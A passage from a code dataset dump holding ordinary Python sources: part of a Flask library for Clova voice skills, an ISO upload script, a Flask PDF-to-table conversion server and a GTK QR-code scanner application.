value\n\n @property\n def version(self):\n return getattr(_app_ctx_stack.top, '_clova_version', None)\n\n @version.setter\n def version(self, value):\n _app_ctx_stack.top._clova_version = value\n\n @property\n def context(self):\n return getattr(_app_ctx_stack.top, '_clova_context', None)\n\n @context.setter\n def context(self, value):\n _app_ctx_stack.top._clova_context = value\n\n @property\n def convert_errors(self):\n return getattr(_app_ctx_stack.top, '_clova_convert_errors', None)\n\n @convert_errors.setter\n def convert_errors(self, value):\n _app_ctx_stack.top._clova_convert_errors = value\n\n def _get_user(self):\n if self.context:\n return self.context.get('System', {}).get('user', {}).get('userId')\n return None\n\n def _cek_request(self, verify=True):\n raw_body = flask_request.data\n cek_request_payload = json.loads(raw_body)\n\n if verify:\n # verify application id\n if self.clova_application_id is not None:\n application_id = cek_request_payload['context']['System']['application']['applicationId']\n verifier.verify_application_id(application_id, self.clova_application_id)\n\n try:\n cek_request_payload['session']\n except KeyError:\n logger.debug(\"Session field is missing.\\n\"\n \"This message should not be appeared in produciton.\")\n cek_request_payload['session'] = {}\n\n return cek_request_payload\n\n def _flask_view_func(self, *args, **kwargs):\n clova_payload = self._cek_request(verify=self.clova_verify_requests)\n dbgdump(clova_payload)\n request_body = models._Field(clova_payload)\n\n self.request = request_body.request\n self.version = request_body.version\n self.context = getattr(request_body, 'context', models._Field())\n self.session = getattr(request_body, 'session', models._Field())\n\n if not self.session.sessionAttributes:\n self.session.sessionAttributes = models._Field()\n\n try:\n if self.session.new and self._on_session_started_callback is not None:\n self._on_session_started_callback()\n except AttributeError:\n pass\n\n result = None\n request_type = self.request.type\n\n if request_type == 'LaunchRequest' and self._launch_view_func:\n result = self._launch_view_func()\n elif request_type == 'SessionEndedRequest':\n if self._session_ended_view_func:\n result = self._session_ended_view_func()\n else:\n logger.info(\"SessionEndedRequest Handler is not defined.\")\n result = \"{}\", 200\n elif request_type == 'IntentRequest' and (self._intent_view_funcs or self._default_intent_view_func):\n result = self._map_intent_to_view_func(self.request.intent)()\n\n if result is not None:\n if isinstance(result, models._Response):\n result = result.render_response()\n response = make_response(result)\n response.mimetype = 'application/json;charset=utf-8'\n return response\n logger.warning(request_type + \" handler is not defined.\")\n return \"\", 400\n\n def _map_intent_to_view_func(self, intent):\n \"\"\"Provides appropiate parameters to the intent functions.\"\"\"\n if intent.name in self._intent_view_funcs:\n view_func = self._intent_view_funcs[intent.name]\n elif self._default_intent_view_func is not None:\n view_func = self._default_intent_view_func\n else:\n raise NotImplementedError('Intent \"{}\" not found and no default intent specified.'.format(intent.name))\n\n argspec = inspect.getfullargspec(view_func)\n arg_names = argspec.args\n arg_values = self._map_params_to_view_args(intent.name, arg_names)\n\n return partial(view_func, *arg_values)\n\n def _map_params_to_view_args(self, view_name, arg_names):\n \"\"\"\n find and invoke appropriate function\n \"\"\"\n\n arg_values = []\n convert = self._intent_converts.get(view_name)\n default = self._intent_defaults.get(view_name)\n mapping = self._intent_mappings.get(view_name)\n\n convert_errors = {}\n\n request_data = {}\n intent = getattr(self.request, 'intent', None)\n if intent is not None:\n if intent.slots is not None:\n for slot_key in intent.slots.keys():\n slot_object = getattr(intent.slots, slot_key)\n request_data[slot_object.name] = getattr(slot_object, 'value', None)\n\n else:\n for param_name in self.request:\n request_data[param_name] = getattr(self.request, param_name, None)\n\n for arg_name in arg_names:\n param_or_slot = mapping.get(arg_name, arg_name)\n arg_value = request_data.get(param_or_slot)\n if arg_value is None or arg_value == \"\":\n if arg_name in default:\n default_value = default[arg_name]\n if isinstance(default_value, collections.Callable):\n default_value = default_value()\n arg_value = default_value\n elif arg_name in convert:\n convert_func = convert[arg_name]\n try:\n arg_value = convert_func(arg_value)\n except Exception as e:\n convert_errors[arg_name] = e\n arg_values.append(arg_value)\n self.convert_errors = convert_errors\n return arg_values\n\n\nclass YamlLoader(BaseLoader):\n\n def __init__(self, app, path):\n self.path = app.root_path + os.path.sep + path\n self.mapping = {}\n self._reload_mapping()\n\n def _reload_mapping(self):\n if os.path.isfile(self.path):\n self.last_mtime = os.path.getmtime(self.path)\n with open(self.path) as f:\n self.mapping = yaml.safe_load(f.read())\n\n def get_source(self, environment, template):\n if not os.path.isfile(self.path):\n return None, None, None\n if self.last_mtime != os.path.getmtime(self.path):\n self._reload_mapping()\n if template in self.mapping:\n source = self.mapping[template]\n return source, None, lambda: source == self.mapping.get(template)\n raise TemplateNotFound(template)\n","repo_name":"hwonyo/flask-clova","sub_path":"flask_clova/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":16597,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"20037889957","text":"import json\nimport os\nimport time\nimport requests\nfrom requests_toolbelt import MultipartEncoder\ndatanames = os.getcwd()\ndatanames2 = os.listdir(datanames)\nSCKEY = os.environ[\"SCKEY\"]\nSCKEY2 = os.environ[\"SCKEY2\"]\nURLKEY = os.environ[\"URLKEY\"]\n \n \n\n \ndef bulid():\n id=''\n for dataname in datanames2:\n if os.path.splitext(dataname)[1] == '.ISO': # 目录下包含.json的文件\n \n print(datanames + \"/\" + dataname)\n dizhi = datanames + \"/\" + dataname\n url = URLKEY\n files = {'file': open(dizhi, 'rb')} # \n data = {\n \"name\": \"ISO.ISO\",\n \"puid\": SCKEY,\n \"_token\": SCKEY2,\n }\n # r = requests.post(url, files=files, data=data, timeout=120)\n\n m = MultipartEncoder(\n fields={'name': 'ISO.ISO', 'puid': SCKEY,'_token': SCKEY2,\n 'file': (dataname, open(dizhi, 'rb'))}\n )\n time.sleep(6) \n headers = {\n \"Content-Type\": m.content_type,\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63\",\n \"Connection\": 'close'\n }\n r = requests.post(url, data=m,\n headers=headers, timeout=(7,12))\n time.sleep(6) \n res=r.text\n # print(res)\n jsonobj = json.loads(res)\n msg=jsonobj['msg']\n print(msg)\n toCntPercent = jsonobj['objectId']\n id=toCntPercent\n with open('id.txt', 'a') as f:\n f.write('\\n')\n f.write(toCntPercent)\n print(toCntPercent)\n else:\n print(\"没文件\")\n return id\n","repo_name":"feller2021/winbuild","sub_path":"ty.py","file_name":"ty.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37508627654","text":"import os\nimport logging\nimport threading\nimport pandas as pd\nimport tabula\nfrom flask import Flask, jsonify, request, send_file\nfrom PyPDF2 import PdfFileReader\n\napp = Flask(__name__)\napp.config['UPLOAD_DIR'] = '/tmp/upload'\napp.config['PDF_SERVER_IP'] = '192.168.0.152'\napp.config['PDF_SERVER_PORT'] = 5000\napp.config['ALLOWED_EXTENSIONS'] = {'pdf'}\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB\n\nlogging.basicConfig(filename='/var/log/pdfminiserver.log', level=logging.INFO,\n format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']\n\ndef pdf_to_csv_json(filepath, output_format):\n with open(filepath, 'rb') as f:\n if output_format == 'csv':\n return tabula.convert_into(f, os.path.join(app.config['UPLOAD_DIR'], (os.path.splitext(filepath)[0]+'.csv')), output_format=\"csv\", pages='all')\n elif output_format == 'json':\n return tabula.convert_into(f, os.path.join(app.config['UPLOAD_DIR'], (os.path.splitext(filepath)[0]+'.json')), output_format=\"json\", pages='all')\n else:\n return None\n \n\n\nclass ConvertThread(threading.Thread):\n def __init__(self, filepath, output_format):\n threading.Thread.__init__(self)\n self.filepath = filepath\n self.output_format = output_format\n\n def run(self):\n try:\n output = pdf_to_csv_json(self.filepath, self.output_format)\n os.remove(self.filepath)\n return output\n except Exception as e:\n logging.error('Error converting PDF file: ' + str(e))\n\n@app.route('/convert', methods=['POST'])\ndef convert_file():\n if 'file' not in request.files:\n return jsonify({'error': 'No file attached.'}), 400\n\n file = request.files['file']\n\n if file.filename == '':\n return jsonify({'error': 'No file selected.'}), 400\n\n if file and allowed_file(file.filename):\n filename = file.filename\n filepath = os.path.join(app.config['UPLOAD_DIR'], filename)\n file.save(filepath)\n output_format = request.form.get('output_format', 'csv')\n thread = ConvertThread(filepath, output_format)\n thread.start()\n return jsonify({'message': 'File uploaded successfully and conversion started.'}), 200\n else:\n return jsonify({'error': 'File type not allowed.'}), 400\n\nif __name__ == '__main__':\n app.run(debug=False, host=app.config['PDF_SERVER_IP'], port=app.config['PDF_SERVER_PORT'], threaded=True)\n","repo_name":"lobykin/pdftotableserver","sub_path":"pdfminiserver.py","file_name":"pdfminiserver.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17815231654","text":"import os\nimport io\nfrom gettext import gettext as _\nfrom urllib.parse import urlsplit\nfrom urllib.parse import SplitResult as UrlSplitResult\nfrom typing import Optional, Tuple, Dict\n\nimport gi\nimport zbar\nimport logbook\nfrom logbook import Logger\nfrom PIL import Image\n\ngi.require_version('GObject', '2.0')\ngi.require_version('GLib', '2.0')\ngi.require_version('Gtk', '3.0')\ngi.require_version('Gdk', '3.0')\ngi.require_version('Gio', '2.0')\ngi.require_version('GdkPixbuf', '2.0')\ngi.require_version('Handy', '1')\ngi.require_version('Rsvg', '2.0')\ngi.require_version('Gst', '1.0')\ngi.require_version('GstBase', '1.0')\ngi.require_version('GstApp', '1.0')\ngi.require_version('NM', '1.0')\n\nfrom gi.repository import GObject, GLib, Gtk, Gdk, Gio, GdkPixbuf, Handy, Rsvg, Gst, GstApp, NM\n\nfrom .consts import APP_ID, SHORT_NAME\nfrom . import __version__\nfrom . import ui\nfrom .resources import get_ui_filepath, guess_content_type, cache_http_file\nfrom .prep import get_device_path, choose_first_image, export_svg, scale_pixbuf\nfrom .messages import WifiInfoMessage, parse_wifi_message\n\n\nlogger = Logger(__name__)\nGst.init(None)\nCONTROL_MASK = Gdk.ModifierType.CONTROL_MASK\n\n# Some Gstreamer CLI examples\n# gst-launch-1.0 v4l2src device=/dev/video0 ! videoconvert ! waylandsink\n# gst-launch-1.0 playbin3 uri=v4l2:///dev/video0 video-sink=waylandsink\n# Better integration:\n# gst-launch-1.0 v4l2src device=/dev/video0 ! videoconvert ! gtksink\n# gst-launch-1.0 v4l2src ! videoconvert ! glsinkbin sink=gtkglsink\n\n\nclass CoBangApplication(Gtk.Application):\n SINK_NAME = 'sink'\n APPSINK_NAME = 'app_sink'\n STACK_CHILD_NAME_WEBCAM = 'src_webcam'\n STACK_CHILD_NAME_IMAGE = 'src_image'\n GST_SOURCE_NAME = 'webcam_source'\n SIGNAL_QRCODE_DETECTED = 'qrcode-detected'\n window: Optional[Gtk.Window] = None\n main_grid: Optional[Gtk.Grid] = None\n area_webcam: Optional[Gtk.Widget] = None\n cont_webcam: Optional[Gtk.Overlay] = None\n stack_img_source: Optional[Gtk.Stack] = None\n btn_play: Optional[Gtk.RadioToolButton] = None\n # We connect Play button with \"toggled\" signal, but when we want to imitate mouse click on the button,\n # calling \"set_active\" on it doesn't work! We have to call on the Pause button instead\n btn_pause: Optional[Gtk.RadioToolButton] = None\n btn_img_chooser: Optional[Gtk.FileChooserButton] = None\n gst_pipeline: Optional[Gst.Pipeline] = None\n zbar_scanner: Optional[zbar.ImageScanner] = None\n raw_result_buffer: Optional[Gtk.TextBuffer] = None\n webcam_combobox: Optional[Gtk.ComboBox] = None\n webcam_store: Optional[Gtk.ListStore] = None\n frame_image: Optional[Gtk.AspectFrame] = None\n # Box holds the emplement to display when no image is chosen\n box_image_empty: Optional[Gtk.Box] = None\n devmonitor: Optional[Gst.DeviceMonitor] = None\n clipboard: Optional[Gtk.Clipboard] = None\n result_display: Optional[Gtk.Frame] = None\n progress_bar: Optional[Gtk.ProgressBar] = None\n infobar: Optional[Gtk.InfoBar] = None\n raw_result_expander: Optional[Gtk.Expander] = None\n nm_client: Optional[NM.Client] = None\n g_event_sources: Dict[str, int] = {}\n\n def __init__(self, *args, **kwargs):\n super().__init__(\n *args, application_id=APP_ID, flags=Gio.ApplicationFlags.HANDLES_COMMAND_LINE, **kwargs\n )\n self.add_main_option(\n 'verbose', ord('v'), GLib.OptionFlags.NONE, GLib.OptionArg.NONE,\n \"More detailed log\", None\n )\n\n def do_startup(self):\n Handy.init()\n Gtk.Application.do_startup(self)\n self.setup_actions()\n self.build_gstreamer_pipeline()\n devmonitor = Gst.DeviceMonitor.new()\n devmonitor.add_filter('Video/Source', Gst.Caps.from_string('video/x-raw'))\n logger.debug('Monitor: {}', devmonitor)\n self.devmonitor = devmonitor\n NM.Client.new_async(None, self.cb_networkmanager_client_init_done)\n\n def setup_actions(self):\n action_quit = Gio.SimpleAction.new('quit', None)\n action_quit.connect('activate', self.quit_from_action)\n self.add_action(action_quit)\n action_about = Gio.SimpleAction.new('about', None)\n action_about.connect('activate', self.show_about_dialog)\n self.add_action(action_about)\n\n def build_gstreamer_pipeline(self, src_type: str = 'v4l2src'):\n # https://gstreamer.freedesktop.org/documentation/application-development/advanced/pipeline-manipulation.html?gi-language=c#grabbing-data-with-appsink\n # Try GL backend first\n command = (f'{src_type} name={self.GST_SOURCE_NAME} ! tee name=t ! '\n # FIXME: The produced video screen is wider than expected, with redundant black padding\n f'queue ! videoscale ! '\n f'glsinkbin sink=\"gtkglsink name={self.SINK_NAME}\" name=sink_bin '\n 't. ! queue leaky=2 max-size-buffers=2 ! videoconvert ! video/x-raw,format=GRAY8 ! '\n f'appsink name={self.APPSINK_NAME} max_buffers=2 drop=1')\n logger.debug('To build pipeline: {}', command)\n try:\n pipeline = Gst.parse_launch(command)\n except GLib.Error as e:\n logger.debug('Error: {}', e)\n pipeline = None\n if not pipeline:\n logger.info('OpenGL is not available, fallback to normal GtkSink')\n # Fallback to non-GL\n command = (f'{src_type} name={self.GST_SOURCE_NAME} ! videoconvert ! tee name=t ! '\n f'queue ! videoscale ! gtksink name={self.SINK_NAME} '\n 't. ! queue leaky=1 max-size-buffers=2 ! video/x-raw,format=GRAY8 ! '\n f'appsink name={self.APPSINK_NAME}')\n logger.debug('To build pipeline: {}', command)\n try:\n pipeline = Gst.parse_launch(command)\n except GLib.Error as e:\n # TODO: Print error in status bar\n logger.error('Failed to create Gst Pipeline. Error: {}', e)\n return\n logger.debug('Created {}', pipeline)\n appsink: GstApp.AppSink = pipeline.get_by_name(self.APPSINK_NAME)\n logger.debug('Appsink: {}', appsink)\n appsink.connect('new-sample', self.on_new_webcam_sample)\n self.gst_pipeline = pipeline\n return pipeline\n\n def build_main_window(self):\n source = get_ui_filepath('cobang-resp.glade')\n builder: Gtk.Builder = Gtk.Builder.new_from_file(str(source))\n handlers = self.signal_handlers_for_glade()\n window: Gtk.Window = builder.get_object('main-window')\n builder.get_object('main-grid')\n window.set_application(self)\n self.set_accels_for_action('app.quit', (\"Q\",))\n self.stack_img_source = builder.get_object('stack-img-source')\n self.btn_play = builder.get_object('btn-play')\n self.btn_pause = builder.get_object('btn-pause')\n self.btn_img_chooser = builder.get_object('btn-img-chooser')\n self.cont_webcam = builder.get_object('cont-webcam')\n self.raw_result_buffer = builder.get_object('raw-result-buffer')\n self.raw_result_expander = builder.get_object('raw-result-expander')\n self.webcam_store = builder.get_object('webcam-list')\n self.webcam_combobox = builder.get_object('webcam-combobox')\n self.frame_image = builder.get_object('frame-image')\n self.box_image_empty = builder.get_object('box-image-empty')\n main_menubutton: Gtk.MenuButton = builder.get_object('main-menubutton')\n main_menubutton.set_menu_model(ui.build_app_menu_model())\n self.frame_image.drag_dest_set(Gtk.DestDefaults.ALL, [], Gdk.DragAction.COPY)\n self.frame_image.drag_dest_add_uri_targets()\n self.clipboard = Gtk.Clipboard.get_for_display(Gdk.Display.get_default(),\n Gdk.SELECTION_CLIPBOARD)\n self.result_display = builder.get_object('result-display-frame')\n self.progress_bar = builder.get_object('progress-bar')\n self.infobar = builder.get_object('info-bar')\n box_playpause = builder.get_object('evbox-playpause')\n self.cont_webcam.add_overlay(box_playpause)\n builder.get_object('cont-raw-text').add_overlay(builder.get_object('evbox-copy'))\n logger.debug('Connect signal handlers')\n builder.connect_signals(handlers)\n self.frame_image.connect('drag-data-received', self.on_frame_image_drag_data_received)\n return window\n\n def signal_handlers_for_glade(self):\n return {\n 'on_btn_play_toggled': self.play_webcam_video,\n 'on_webcam_combobox_changed': self.on_webcam_combobox_changed,\n 'on_stack_img_source_visible_child_notify': self.on_stack_img_source_visible_child_notify,\n 'on_btn_img_chooser_update_preview': self.on_btn_img_chooser_update_preview,\n 'on_btn_img_chooser_file_set': self.on_btn_img_chooser_file_set,\n 'on_eventbox_key_press_event': self.on_eventbox_key_press_event,\n 'on_evbox_playpause_enter_notify_event': self.on_evbox_playpause_enter_notify_event,\n 'on_evbox_playpause_leave_notify_event': self.on_evbox_playpause_leave_notify_event,\n 'on_info_bar_response': self.on_info_bar_response,\n 'on_btn_copy_clicked': self.on_btn_copy_clicked,\n }\n\n def discover_webcam(self):\n bus: Gst.Bus = self.devmonitor.get_bus()\n logger.debug('Bus: {}', bus)\n bus.add_watch(GLib.PRIORITY_DEFAULT, self.on_device_monitor_message, None)\n devices = self.devmonitor.get_devices()\n for d in devices: # type: Gst.Device\n # Device is of private type GstV4l2Device or GstPipeWireDevice\n logger.debug('Found device {}', d.get_path_string())\n cam_name = d.get_display_name()\n cam_path, src_type = get_device_path(d)\n if not cam_name:\n logger.error('Not recognize this device.')\n continue\n self.webcam_store.append((cam_path, cam_name, src_type))\n logger.debug('Start device monitoring')\n self.devmonitor.start()\n\n def do_activate(self):\n if not self.window:\n self.window = self.build_main_window()\n self.zbar_scanner = zbar.ImageScanner()\n self.discover_webcam()\n self.window.present()\n logger.debug(\"Window {} is shown\", self.window)\n ui.resize_to_match_screen(self.window)\n # If no webcam is selected, select the first V4l2 one\n if not self.webcam_combobox.get_active_iter():\n v4l2_idx = next((n for n, r in enumerate(self.webcam_store) if r[2] == 'v4l2src'), 0)\n self.webcam_combobox.set_active(v4l2_idx)\n\n def do_command_line(self, command_line: Gio.ApplicationCommandLine):\n options = command_line.get_options_dict().end().unpack()\n if options.get('verbose'):\n logger.level = logbook.DEBUG\n displayed_apps = os.getenv('G_MESSAGES_DEBUG', '').split()\n displayed_apps.append(SHORT_NAME)\n GLib.setenv('G_MESSAGES_DEBUG', ' '.join(displayed_apps), True)\n self.activate()\n return 0\n\n def detach_gstreamer_sink_from_window(self):\n old_area = self.cont_webcam.get_child()\n self.cont_webcam.remove(old_area)\n\n def attach_gstreamer_sink_to_window(self):\n sink = self.gst_pipeline.get_by_name(self.SINK_NAME)\n area = sink.get_property('widget')\n self.cont_webcam.add(area)\n area.show()\n\n def grab_focus_on_event_box(self):\n event_box: Gtk.EventBox = self.frame_image.get_child()\n event_box.grab_focus()\n\n def insert_image_to_placeholder(self, pixbuf: GdkPixbuf.Pixbuf):\n stack = self.stack_img_source\n pane: Gtk.AspectFrame = stack.get_visible_child()\n logger.debug('Visible pane: {}', pane.get_name())\n if not isinstance(pane, Gtk.AspectFrame):\n logger.error('Stack seems to be in wrong state')\n return\n try:\n event_box: Gtk.EventBox = pane.get_child()\n child = event_box.get_child()\n logger.debug('Child: {}', child)\n except IndexError:\n logger.error('{} doesn\\'t have child or grandchild!', pane)\n return\n if isinstance(child, Gtk.Image):\n child.set_from_pixbuf(pixbuf)\n return\n image = Gtk.Image.new_from_pixbuf(pixbuf)\n # Detach the box\n logger.debug('Detach {} from {}', child, event_box)\n event_box.remove(child)\n logger.debug('Attach {}', image)\n event_box.add(image)\n image.show()\n\n def reset_image_placeholder(self):\n stack = self.stack_img_source\n logger.debug('Children: {}', stack.get_children())\n pane: Gtk.AspectFrame = stack.get_child_by_name(self.STACK_CHILD_NAME_IMAGE)\n try:\n event_box: Gtk.EventBox = pane.get_child()\n old_widget = event_box.get_child()\n except IndexError:\n logger.error('Stack seems to be in wrong state')\n return\n if old_widget == self.box_image_empty:\n return\n event_box.remove(old_widget)\n event_box.add(self.box_image_empty)\n\n def display_url(self, url: UrlSplitResult):\n logger.debug('Found URL: {}', url)\n box = ui.build_url_display(url)\n self.result_display.add(box)\n self.result_display.show_all()\n\n def display_wifi(self, wifi: WifiInfoMessage):\n box = ui.build_wifi_info_display(wifi, self.nm_client)\n self.result_display.add(box)\n self.result_display.show_all()\n\n def reset_result(self):\n self.raw_result_buffer.set_text('')\n self.raw_result_expander.set_expanded(False)\n child = self.result_display.get_child()\n if child:\n self.result_display.remove(child)\n\n def display_result(self, symbols: zbar.SymbolSet):\n # There can be more than one QR code in the image. We just pick the first.\n # No need to to handle StopIteration exception, because this function is called\n # only when QR code is detected from the image.\n sym: zbar.Symbol = next(iter(symbols))\n logger.info('QR type: {}', sym.type)\n raw_data: str = sym.data\n logger.info('Decoded string: {}', raw_data)\n logger.debug('Set text for raw_result_buffer')\n self.raw_result_buffer.set_text(raw_data)\n # Is it a URL?\n try:\n url = urlsplit(raw_data)\n except ValueError:\n url = None\n if url and url.scheme and url.netloc:\n self.display_url(url)\n return\n try:\n wifi = parse_wifi_message(raw_data)\n logger.debug('To display {}', wifi)\n # Pass to idle_add to prevent crash\n GLib.idle_add(self.display_wifi, wifi)\n return\n except ValueError:\n logger.debug('Not a wellknown message')\n pass\n # Unknown message, just show raw content\n self.raw_result_expander.set_expanded(True)\n\n def on_device_monitor_message(self, bus: Gst.Bus, message: Gst.Message, user_data):\n logger.debug('Message: {}', message)\n # A private GstV4l2Device or GstPipeWireDevice type\n if message.type == Gst.MessageType.DEVICE_ADDED:\n added_dev: Optional[Gst.Device] = message.parse_device_added()\n if not added_dev:\n return True\n logger.debug('Added: {}', added_dev)\n cam_path, src_type = get_device_path(added_dev)\n cam_name = added_dev.get_display_name()\n # Check if this cam already in the list, add to list if not.\n for row in self.webcam_store:\n if row[0] == cam_path:\n break\n else:\n self.webcam_store.append((cam_path, cam_name, src_type))\n return True\n elif message.type == Gst.MessageType.DEVICE_REMOVED:\n removed_dev: Optional[Gst.Device] = message.parse_device_removed()\n if not removed_dev:\n return True\n logger.debug('Removed: {}', removed_dev)\n cam_path, src_type = get_device_path(removed_dev)\n ppl_source = self.gst_pipeline.get_by_name(self.GST_SOURCE_NAME)\n if cam_path == ppl_source.get_property('device') or cam_path == ppl_source.get_property('path'):\n self.gst_pipeline.set_state(Gst.State.NULL)\n # Find the entry of just-removed in the list and remove it.\n itr: Optional[Gtk.TreeIter] = None\n for row in self.webcam_store:\n logger.debug('Row: {}', row)\n if row[0] == cam_path:\n itr = row.iter\n break\n if itr:\n logger.debug('To remove {} from list', cam_path)\n self.webcam_store.remove(itr)\n return True\n\n def on_webcam_combobox_changed(self, combo: Gtk.ComboBox):\n if not self.gst_pipeline:\n return\n liter = combo.get_active_iter()\n if not liter:\n return\n model = combo.get_model()\n path, name, source_type = model[liter]\n logger.debug('Picked {} {} ({})', path, name, source_type)\n app_sink = self.gst_pipeline.get_by_name(self.APPSINK_NAME)\n app_sink.set_emit_signals(False)\n self.detach_gstreamer_sink_from_window()\n self.gst_pipeline.remove(app_sink)\n ppl_source = self.gst_pipeline.get_by_name(self.GST_SOURCE_NAME)\n ppl_source.set_state(Gst.State.NULL)\n self.gst_pipeline.remove(ppl_source)\n self.build_gstreamer_pipeline(source_type)\n self.attach_gstreamer_sink_to_window()\n ppl_source = self.gst_pipeline.get_by_name(self.GST_SOURCE_NAME)\n if source_type == 'pipewiresrc':\n logger.debug('Change pipewiresrc path to {}', path)\n ppl_source.set_property('path', path)\n else:\n logger.debug('Change v4l2src device to {}', path)\n ppl_source.set_property('device', path)\n self.gst_pipeline.set_state(Gst.State.PLAYING)\n app_sink = self.gst_pipeline.get_by_name(self.APPSINK_NAME)\n app_sink.set_emit_signals(True)\n\n def on_stack_img_source_visible_child_notify(self, stack: Gtk.Stack, param: GObject.ParamSpec):\n self.reset_result()\n self.btn_img_chooser.unselect_all()\n child = stack.get_visible_child()\n child_name = child.get_name()\n logger.debug('Visible child: {} ({})', child, child_name)\n toolbar = self.btn_play.get_parent()\n if not child_name.endswith('webcam'):\n logger.info('To disable webcam')\n if self.gst_pipeline:\n self.gst_pipeline.set_state(Gst.State.NULL)\n toolbar.hide()\n self.webcam_combobox.hide()\n self.btn_img_chooser.show()\n self.grab_focus_on_event_box()\n elif self.gst_pipeline:\n logger.info('To enable webcam')\n ppl_source = self.gst_pipeline.get_by_name(self.GST_SOURCE_NAME)\n device = (ppl_source.get_property('path')\n if ppl_source.__class__.__name__ == 'GstPipeWireSrc'\n else ppl_source.get_property('device'))\n if device:\n self.btn_pause.set_active(False)\n self.gst_pipeline.set_state(Gst.State.PLAYING)\n self.btn_img_chooser.hide()\n self.webcam_combobox.show()\n self.reset_image_placeholder()\n toolbar.show()\n\n def on_btn_img_chooser_update_preview(self, chooser: Gtk.FileChooserButton):\n file_uri: Optional[str] = chooser.get_preview_uri()\n logger.debug('Chose file: {}', file_uri)\n if not file_uri:\n chooser.set_preview_widget_active(False)\n return\n gfile = Gio.file_new_for_uri(file_uri)\n ftype: Gio.FileType = gfile.query_file_type(Gio.FileQueryInfoFlags.NONE, None)\n if ftype != Gio.FileType.REGULAR:\n chooser.set_preview_widget_active(False)\n return\n stream: Gio.FileInputStream = gfile.read(None)\n pix = GdkPixbuf.Pixbuf.new_from_stream_at_scale(stream, 200, 400, True, None)\n preview = chooser.get_preview_widget()\n logger.debug('Preview: {}', preview)\n preview.set_from_pixbuf(pix)\n chooser.set_preview_widget_active(True)\n return\n\n def process_passed_image_file(self, chosen_file: Gio.File, content_type: Optional[str] = None):\n self.reset_result()\n # The file can be remote, so we should read asynchronously\n chosen_file.read_async(GLib.PRIORITY_DEFAULT, None, self.cb_file_read, content_type)\n # If this file is remote, reading it will take time, so we display progress bar.\n if not chosen_file.is_native():\n self.progress_bar.set_visible(True)\n sid = GLib.timeout_add(100, ui.update_progress, self.progress_bar)\n # Properly handle GLib event source\n if self.g_event_sources.get('update_progress'):\n GLib.Source.remove(self.g_event_sources['update_progress'])\n self.g_event_sources['update_progress'] = sid\n\n def cb_networkmanager_client_init_done(self, client: NM.Client, res: Gio.AsyncResult):\n if not client:\n logger.error('Failed to initialize NetworkManager client')\n return\n client.new_finish(res)\n self.nm_client = client\n logger.debug('NM client: {}', client)\n connections = client.get_connections()\n wifis = tuple(c for c in connections if c.get_visible() and c.is_type(NM.SETTING_WIRELESS_SETTING_NAME))\n logger.debug('WiFi connections: {}', [c.get_id() for c in wifis])\n\n def cb_file_read(self, remote_file: Gio.File, res: Gio.AsyncResult, content_type: Optional[str] = None):\n w, h = self.get_preview_size()\n gi_stream: Gio.FileInputStream = remote_file.read_finish(res)\n scaled_pix = GdkPixbuf.Pixbuf.new_from_stream_at_scale(gi_stream, w, h, True, None)\n # Prevent freezing GUI\n Gtk.main_iteration()\n self.insert_image_to_placeholder(scaled_pix)\n # Prevent freezing GUI\n Gtk.main_iteration()\n gi_stream.seek(0, GLib.SeekType.SET, None)\n logger.debug('Content type: {}', content_type)\n if content_type == 'image/svg+xml':\n svg: Rsvg.Handle = Rsvg.Handle.new_from_stream_sync(gi_stream, remote_file,\n Rsvg.HandleFlags.FLAGS_NONE, None)\n stream: io.BytesIO = export_svg(svg)\n else:\n stream = io.BytesIO()\n CHUNNK_SIZE = 8192\n # There is no method like read_all_bytes(), so have to do verbose way below\n while True:\n buf: GLib.Bytes = gi_stream.read_bytes(CHUNNK_SIZE, None)\n amount = buf.get_size()\n logger.debug('Read {} bytes', amount)\n stream.write(buf.get_data())\n if amount <= 0:\n break\n if self.g_event_sources.get('update_progress'):\n GLib.Source.remove(self.g_event_sources['update_progress'])\n del self.g_event_sources['update_progress']\n ui.update_progress(self.progress_bar, 1)\n self.process_passed_rgb_image(stream)\n\n def process_passed_rgb_image(self, stream: io.BytesIO):\n pim = Image.open(stream)\n grayscale = pim.convert('L')\n w, h = grayscale.size\n img = zbar.Image(w, h, 'Y800', grayscale.tobytes())\n n = self.zbar_scanner.scan(img)\n logger.debug('Any QR code?: {}', n)\n if not n:\n return\n self.display_result(img.symbols)\n\n def on_btn_img_chooser_file_set(self, chooser: Gtk.FileChooserButton):\n uri: str = chooser.get_uri()\n logger.debug('Chose file: {}', uri)\n # There is a limitation of Gio when handling HTTP remote files,\n # like sometimes it can not read the same file twice (server doesn't handle Range header).\n # So, for HTTP file, we can support Gio by caching to temporary local file.\n if uri.startswith(('http://', 'https://')):\n # Prevent freezing GUI\n Gtk.main_iteration()\n chosen_file = cache_http_file(uri)\n else:\n chosen_file: Gio.File = Gio.file_new_for_uri(uri)\n # Check file content type\n try:\n content_type = guess_content_type(chosen_file)\n except GLib.Error as e:\n logger.error('Failed to open file. Error {}', e)\n self.show_error('Failed to open file.')\n return\n logger.debug('Content type: {}', content_type)\n if not content_type.startswith('image/'):\n self.show_error(_('Unsupported file type %s!') % content_type)\n return\n self.process_passed_image_file(chosen_file, content_type)\n self.grab_focus_on_event_box()\n\n def on_frame_image_drag_data_received(self, widget: Gtk.AspectFrame, drag_context: Gdk.DragContext,\n x: int, y: int, data: Gtk.SelectionData, info: int, time: int):\n uri: str = data.get_data().strip().decode()\n logger.debug('Dropped URI: {}', uri)\n if not uri:\n logger.debug('Something wrong with desktop environment. No URI is given.')\n return\n chosen_file = Gio.file_new_for_uri(uri)\n self.btn_img_chooser.select_uri(uri)\n content_type = guess_content_type(chosen_file)\n logger.debug('Content type: {}', content_type)\n self.process_passed_image_file(chosen_file, content_type)\n self.grab_focus_on_event_box()\n\n def on_eventbox_key_press_event(self, 